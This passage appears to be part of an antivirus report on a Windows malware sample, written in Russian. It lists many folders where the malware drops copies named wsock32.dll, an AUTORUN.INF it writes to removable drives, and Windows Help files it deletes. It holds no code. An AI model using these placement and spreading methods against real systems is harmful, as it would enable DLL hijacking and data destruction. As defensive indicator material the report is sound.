  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\preferences\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\profile\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\handling\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\plugins\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\svg\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\xml\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\search\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\security\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\xpinstall\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global-platform\mac\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global-platform\unix\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\xslt\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\feedback\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\pippki\content\pippki\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\cookie\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\global\alerts\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\pippki\content\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\pippki\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\necko\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\update\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\xpinstall\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\passwordmgr\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\places\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\services\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\pipnss\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\pippki\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\feeds\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\places\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\preferences\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\communicator\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\tabbrowser\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\tabview\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\safebrowsing\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\search\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\feeds\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\tabbrowser\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\tabview\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\places\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\preferences\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser-region\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\safebrowsing\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\sidebar\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\alerts\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\dom\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\layout\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\autoconfig\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\cookie\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\branding\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\skin\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\downloads\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\places\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\preferences\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\feeds\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\migration\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\checkbox\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\console\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\alerts\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\arrow\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\dirListing\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\printpreview\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\radio\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\icons\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\media\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\mozapps\plugins\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\mozapps\profile\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\mozapps\passwordmgr\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\mozapps\places\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\mozapps\update\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\mozapps\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\mozapps\viewsource\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\mozapps\xpinstall\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\mozapps\profile\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\mozapps\update\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\mozapps\places\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\mozapps\plugins\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\mozapps\viewsource\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\mozapps\xpinstall\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\mozapps\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\toolbar\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\tree\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\scrollbar\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\splitter\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\global\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\mozapps\handling\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\mozapps\passwordmgr\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\mozapps\downloads\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\mozapps\extensions\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\mozapps\update\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\mozapps\xpinstall\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\mozapps\preferences\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\mozapps\profile\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\mozapps\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\xbl-marquee\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\passwordmgr\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\satchel\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\global\svg\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\global\xml\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\global\bindings\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\global\cpow\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\global\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\mozapps\handling\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\mozapps\plugins\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\mozapps\downloads\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\content\mozapps\extensions\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\splitter\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\toolbar\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\radio\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\scrollbar\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\tree\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\mozapps\extensions\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\mozapps\handling\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\mozapps\downloads\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\arrow\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\checkbox\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\res\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\alerts\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\console\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\media\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\printpreview\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\dirListing\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\toolkit\skin\classic\aero\global\icons\wsock32.dll
  • C:\Far2\Plugins\WinSCP\components\wsock32.dll
  • C:\Far2\Plugins\WinSCP\console\wsock32.dll
  • C:\Far2\Plugins\ProcList\wsock32.dll
  • C:\Far2\Plugins\TmpPanel\wsock32.dll
  • C:\Far2\Plugins\WinSCP\core\wsock32.dll
  • C:\Far2\Plugins\WinSCP\fari\wsock32.dll
  • C:\Far2\Plugins\WinSCP\filezilla\misc\wsock32.dll
  • C:\Far2\Plugins\WinSCP\dragext\wsock32.dll
  • C:\Far2\Plugins\WinSCP\far\wsock32.dll
  • C:\Far2\Plugins\FarCmds\wsock32.dll
  • C:\Far2\Plugins\FileCase\wsock32.dll
  • C:\Far2\Plugins\ExtSearch\sources\wsock32.dll
  • C:\Far2\Plugins\ExtSearch\wsock32.dll
  • C:\Far2\Plugins\FTP\lib\wsock32.dll
  • C:\Far2\Plugins\MacroView\wsock32.dll
  • C:\Far2\Plugins\Network\wsock32.dll
  • C:\Far2\Plugins\FTP\wsock32.dll
  • C:\Far2\Plugins\HlfViewer\wsock32.dll
  • C:\Far2\Plugins\WinSCP\putty\windows\wsock32.dll
  • C:\Far2\Plugins\WinSCP\putty\wsock32.dll
  • C:\Far2\Plugins\WinSCP\packages\wsock32.dll
  • C:\Far2\Plugins\WinSCP\putty\charset\wsock32.dll
  • C:\Far2\Plugins\WinSCP\release\wsock32.dll
  • C:\Far2\Plugins\WinSCP\wsock32.dll
  • C:\Far2\Plugins\wsock32.dll
  • C:\Far2\Plugins\WinSCP\resource\wsock32.dll
  • C:\Far2\Plugins\WinSCP\windows\wsock32.dll
  • C:\Far2\Plugins\WinSCP\lib\wsock32.dll
  • C:\Far2\Plugins\WinSCP\packages\dragndrop\wsock32.dll
  • C:\Far2\Plugins\WinSCP\filezilla\wsock32.dll
  • C:\Far2\Plugins\WinSCP\forms\wsock32.dll
  • C:\Far2\Plugins\WinSCP\packages\filemng\wsock32.dll
  • C:\Far2\Plugins\WinSCP\packages\tbx\wsock32.dll
  • C:\Far2\Plugins\WinSCP\packages\theme\wsock32.dll
  • C:\Far2\Plugins\WinSCP\packages\my\wsock32.dll
  • C:\Far2\Plugins\WinSCP\packages\tb2k\wsock32.dll
  • C:\Far2\Documentation\eng\wsock32.dll
  • C:\Far2\Documentation\rus\wsock32.dll
  • C:\Far2\Addons\XLat\wsock32.dll
  • C:\Far2\Addons\wsock32.dll
  • C:\Far2\Documentation\wsock32.dll
  • C:\Far2\Plugins\7-Zip\wsock32.dll
  • C:\Far2\Plugins\Align\wsock32.dll
  • C:\Far2\Encyclopedia\wsock32.dll
  • C:\Far2\FExcept\wsock32.dll
  • C:\Far2\Addons\Colors\Custom Highlighting\wsock32.dll
  • C:\Far2\Addons\Colors\Default Highlighting\wsock32.dll
  • <Имя диска съемного носителя>:\AUTORUN.INF
  • <Текущая директория>\wsock32.dll
  • C:\Far2\Addons\Colors\wsock32.dll
  • C:\Far2\Addons\Shell\wsock32.dll
  • C:\Far2\Addons\XLat\Russian\wsock32.dll
  • C:\Far2\Addons\Macros\wsock32.dll
  • C:\Far2\Addons\SetUp\wsock32.dll
  • C:\Far2\Plugins\Compare\wsock32.dll
  • C:\Far2\Plugins\DrawLine\wsock32.dll
  • C:\Far2\Plugins\Colorer\hrd\wsock32.dll
  • C:\Far2\Plugins\Colorer\wsock32.dll
  • C:\Far2\Plugins\EditCase\wsock32.dll
  • C:\Far2\Plugins\ExtSearch\keys\wsock32.dll
  • C:\Far2\Plugins\ExtSearch\sources\RegExp\wsock32.dll
  • C:\Far2\Plugins\EMenu\wsock32.dll
  • C:\Far2\Plugins\ExtSearch\doc\wsock32.dll
  • C:\Far2\Plugins\Brackets\wsock32.dll
  • C:\Far2\Plugins\Colorer\bin\wsock32.dll
  • C:\Far2\Plugins\arclite\wsock32.dll
  • C:\Far2\Plugins\AutoWrap\wsock32.dll
  • C:\Far2\Plugins\Colorer\hrc\auto\types\wsock32.dll
  • C:\Far2\Plugins\Colorer\hrd\console\contrib\wsock32.dll
  • C:\Far2\Plugins\Colorer\hrd\console\wsock32.dll
  • C:\Far2\Plugins\Colorer\hrc\auto\wsock32.dll
  • C:\Far2\Plugins\Colorer\hrc\wsock32.dll
  • %CommonProgramFiles%\MSSoap\wsock32.dll
  • %CommonProgramFiles%\ODBC\Data Sources\wsock32.dll
  • %CommonProgramFiles%\MSSoap\Binaries\Resources\wsock32.dll
  • %CommonProgramFiles%\MSSoap\Binaries\wsock32.dll
  • %CommonProgramFiles%\ODBC\wsock32.dll
  • %CommonProgramFiles%\SpeechEngines\Microsoft\Lexicon\wsock32.dll
  • %CommonProgramFiles%\SpeechEngines\Microsoft\TTS\1033\wsock32.dll
  • %CommonProgramFiles%\Services\wsock32.dll
  • %CommonProgramFiles%\SpeechEngines\Microsoft\Lexicon\1033\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\_vti_bin\_vti_adm\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\_vti_bin\_vti_aut\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\isapi\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\servsupp\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\_vti_bin\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\wsock32.dll
  • %CommonProgramFiles%\MSSoap\Binaries\Resources\1033\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\certerror\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\feeds\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\branding\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\bookmarks\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\history\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\places\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\preferences\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\migration\wsock32.dll
  • %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\pageinfo\wsock32.dll
  • %CommonProgramFiles%\SpeechEngines\wsock32.dll
  • %CommonProgramFiles%\System\ado\wsock32.dll
  • %CommonProgramFiles%\SpeechEngines\Microsoft\TTS\wsock32.dll
  • %CommonProgramFiles%\SpeechEngines\Microsoft\wsock32.dll
  • %CommonProgramFiles%\System\msadc\wsock32.dll
  • %CommonProgramFiles%\wsock32.dll
  • %PROGRAM_FILES%\ComPlus Applications\wsock32.dll
  • %CommonProgramFiles%\System\Ole DB\wsock32.dll
  • %CommonProgramFiles%\System\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\DW\1040\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\DW\1041\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\DW\1033\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\DW\1036\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\DW\1042\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\DW\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\MSInfo\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\DW\2052\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\DW\3082\wsock32.dll
  • C:\Far2\PluginSDK\wsock32.dll
  • C:\Far2\wsock32.dll
  • C:\Far2\PluginSDK\Headers.c\wsock32.dll
  • C:\Far2\PluginSDK\Headers.pas\wsock32.dll
  • <Служебный элемент>
  • %CommonProgramFiles%\Microsoft Shared\DW\1028\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\DW\1031\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\DAO\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\DW\1025\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\admisapi\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\bin\1033\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\admcgi\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\admisapi\scripts\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\bin\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\isapi\_vti_adm\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\isapi\_vti_aut\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\bots\vinavbar\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\bots\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\Stationery\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\TextConv\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\Speech\1033\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\Speech\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\Triedit\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\Web Folders\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\web server extensions\40\admcgi\scripts\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\VC\wsock32.dll
  • %CommonProgramFiles%\Microsoft Shared\VGX\wsock32.dll
Удаляет следующие файлы:
  • %WINDIR%\Help\phowto.chm
  • %WINDIR%\Help\pinball.chm
  • %WINDIR%\Help\pinball.hlp
  • %WINDIR%\Help\osk.hlp
  • %WINDIR%\Help\packager.chm
  • %WINDIR%\Help\password.chm
  • %WINDIR%\Help\progman.cnt
  • %WINDIR%\Help\progman.hlp
  • %WINDIR%\Help\pwrmn.chm
  • %WINDIR%\Help\plyr_err.chm
  • %WINDIR%\Help\printfnd.chm
  • %WINDIR%\Help\printing.chm
  • %WINDIR%\Help\osk.chm
  • %WINDIR%\Help\nusrmgr.chm
  • %WINDIR%\Help\nwdoc.chm
  • %WINDIR%\Help\nwdoc.hlp
  • %WINDIR%\Help\nthelp.chm
  • %WINDIR%\Help\ntshared.chm
  • %WINDIR%\Help\ntshrui.hlp
  • %WINDIR%\Help\oe_msgr.chm
  • %WINDIR%\Help\offlinefolders.chm
  • %WINDIR%\Help\omc.chm
  • %WINDIR%\Help\objsel.hlp
  • %WINDIR%\Help\odbcinst.chm
  • %WINDIR%\Help\odbcjet.chm
  • %WINDIR%\Help\rsm.chm
  • %WINDIR%\Help\rsm.hlp
  • %WINDIR%\Help\rsmconcepts.chm
  • %WINDIR%\Help\reskit.chm
  • %WINDIR%\Help\rktools.chm
  • %WINDIR%\Help\rrc.chm
  • %WINDIR%\Help\safer.chm
  • %WINDIR%\Help\saferconcepts.chm
  • %WINDIR%\Help\sapicpl.hlp
  • %WINDIR%\Help\rsop.chm
  • %WINDIR%\Help\rsopsnp.chm
  • %WINDIR%\Help\rvse.chm
  • %WINDIR%\Help\remasst.chm
  • %WINDIR%\Help\ratings.cnt
  • %WINDIR%\Help\ratings.hlp
  • %WINDIR%\Help\rdesktop.chm
  • %WINDIR%\Help\pwrmn.hlp
  • %WINDIR%\Help\qosconcepts.chm
  • %WINDIR%\Help\ratings.chm
  • %WINDIR%\Help\regedit.chm
  • %WINDIR%\Help\regedit.hlp
  • %WINDIR%\Help\regopt.chm
  • %WINDIR%\Help\reader.chm
  • %WINDIR%\Help\reader.hlp
  • %WINDIR%\Help\recycle.chm
  • %WINDIR%\Help\msoe.chm
  • %WINDIR%\Help\msoe.hlp
  • %WINDIR%\Help\msoeacct.hlp
  • %WINDIR%\Help\msmqconcepts.chm
  • %WINDIR%\Help\msnauth.cnt
  • %WINDIR%\Help\msnauth.hlp
  • %WINDIR%\Help\mstask.chm
  • %WINDIR%\Help\mstask.hlp
  • %WINDIR%\Help\mstsc.chm
  • %WINDIR%\Help\msorcl32.chm
  • %WINDIR%\Help\mspaint.chm
  • %WINDIR%\Help\mspaint.hlp
  • %WINDIR%\Help\msmq.chm
  • %WINDIR%\Help\mplayer2.hlp
  • %WINDIR%\Help\mpnetwrk.hlp
  • %WINDIR%\Help\mqsnap.hlp
  • %WINDIR%\Help\mouse.hlp
  • %WINDIR%\Help\mpconcepts.chm
  • %WINDIR%\Help\mplayer2.cnt
  • %WINDIR%\Help\mshearts.cnt
  • %WINDIR%\Help\mshearts.hlp
  • %WINDIR%\Help\msinfo32.chm
  • %WINDIR%\Help\msconfig.chm
  • %WINDIR%\Help\msdasc.chm
  • %WINDIR%\Help\mshearts.chm
  • %WINDIR%\Help\nofts.chm
  • %WINDIR%\Help\notepad.chm
  • %WINDIR%\Help\notepad.hlp
  • %WINDIR%\Help\nmchat.chm
  • %WINDIR%\Help\nmwhiteb.chm
  • %WINDIR%\Help\nocontnt.cnt
  • %WINDIR%\Help\ntchowto.chm
  • %WINDIR%\Help\ntcmds.chm
  • %WINDIR%\Help\ntdef.chm
  • %WINDIR%\Help\ntart.chm
  • %WINDIR%\Help\ntbackup.chm
  • %WINDIR%\Help\ntbackup.hlp
  • %WINDIR%\Help\newfeat5.hlp
  • %WINDIR%\Help\newfeat1.chm
  • %WINDIR%\Help\newfeat1.hlp
  • %WINDIR%\Help\newfeat2.chm
  • %WINDIR%\Help\netcfg.chm
  • %WINDIR%\Help\netcfg.hlp
  • %WINDIR%\Help\network.chm
  • %WINDIR%\Help\newfeat4.chm
  • %WINDIR%\Help\newfeat4.hlp
  • %WINDIR%\Help\newfeat5.chm
  • %WINDIR%\Help\newfeat2.hlp
  • %WINDIR%\Help\newfeat3.chm
  • %WINDIR%\Help\newfeat3.hlp
  • %WINDIR%\Help\utilmgr.chm
  • %WINDIR%\Help\utilmgr.hlp
  • %WINDIR%\Help\verifier.hlp
  • %WINDIR%\Help\update1.chm
  • %WINDIR%\Help\usercpl.chm
  • %WINDIR%\Help\users.hlp
  • %WINDIR%\Help\webpub.chm
  • %WINDIR%\Help\whatsnew.chm
  • %WINDIR%\Help\winchat.chm
  • %WINDIR%\Help\wab.chm
  • %WINDIR%\Help\wab.hlp
  • %WINDIR%\Help\wbemtest.chm
  • %WINDIR%\Help\update.cnt
  • %WINDIR%\Help\tcpip.chm
  • %WINDIR%\Help\tcpmon.hlp
  • %WINDIR%\Help\telnet.chm
  • %WINDIR%\Help\taskbar.chm
  • %WINDIR%\Help\taskmgr.chm
  • %WINDIR%\Help\taskmgr.hlp
  • %WINDIR%\Help\tshoot.dll
  • %WINDIR%\Help\twclient.chm
  • %WINDIR%\Help\twclient.hlp
  • %WINDIR%\Help\telnet.hlp
  • %WINDIR%\Help\timesrv.chm
  • %WINDIR%\Help\tshoot.chm
  • %WINDIR%\Help\wordpad.hlp
  • %WINDIR%\Help\wpa.chm
  • %WINDIR%\Help\wschelp.chm
  • %WINDIR%\Help\wmplay.chm
  • %WINDIR%\Help\wmplayer.chm
  • %WINDIR%\Help\wordpad.chm
  • %WINDIR%\Help\wshconcepts.chm
  • %WINDIR%\Help\wuau.chm
  • %WINDIR%\Help\wuauhelp.chm
  • %WINDIR%\Help\wscript.chm
  • %WINDIR%\Help\wscript.hlp
  • %WINDIR%\Help\wsecedit.hlp
  • %WINDIR%\Help\wmifltr.chm
  • %WINDIR%\Help\windows.cnt
  • %WINDIR%\Help\windows.hlp
  • %WINDIR%\Help\winhlp32.cnt
  • %WINDIR%\Help\winchat.hlp
  • %WINDIR%\Help\windows.chm
  • %WINDIR%\Help\windows.chq
  • %WINDIR%\Help\winmine.hlp
  • %WINDIR%\Help\win_dos.chm
  • %WINDIR%\Help\wmic.chm
  • %WINDIR%\Help\winhlp32.hlp
  • %WINDIR%\Help\wininstl.chm
  • %WINDIR%\Help\winmine.chm
  • %WINDIR%\Help\sigverif.hlp
  • %WINDIR%\Help\smlogcfg.chm
  • %WINDIR%\Help\sndvol32.chm
  • %WINDIR%\Help\shell.hlp
  • %WINDIR%\Help\shvl.chm
  • %WINDIR%\Help\signin.hlp
  • %WINDIR%\Help\snmpsnap.hlp
  • %WINDIR%\Help\sol.chm
  • %WINDIR%\Help\sol.hlp
  • %WINDIR%\Help\sndvol32.hlp
  • %WINDIR%\Help\sniffpol.dll
  • %WINDIR%\Help\snmpconcepts.chm
  • %WINDIR%\Help\sfmmgr.hlp
  • %WINDIR%\Help\sceconcepts.chm
  • %WINDIR%\Help\scm.chm
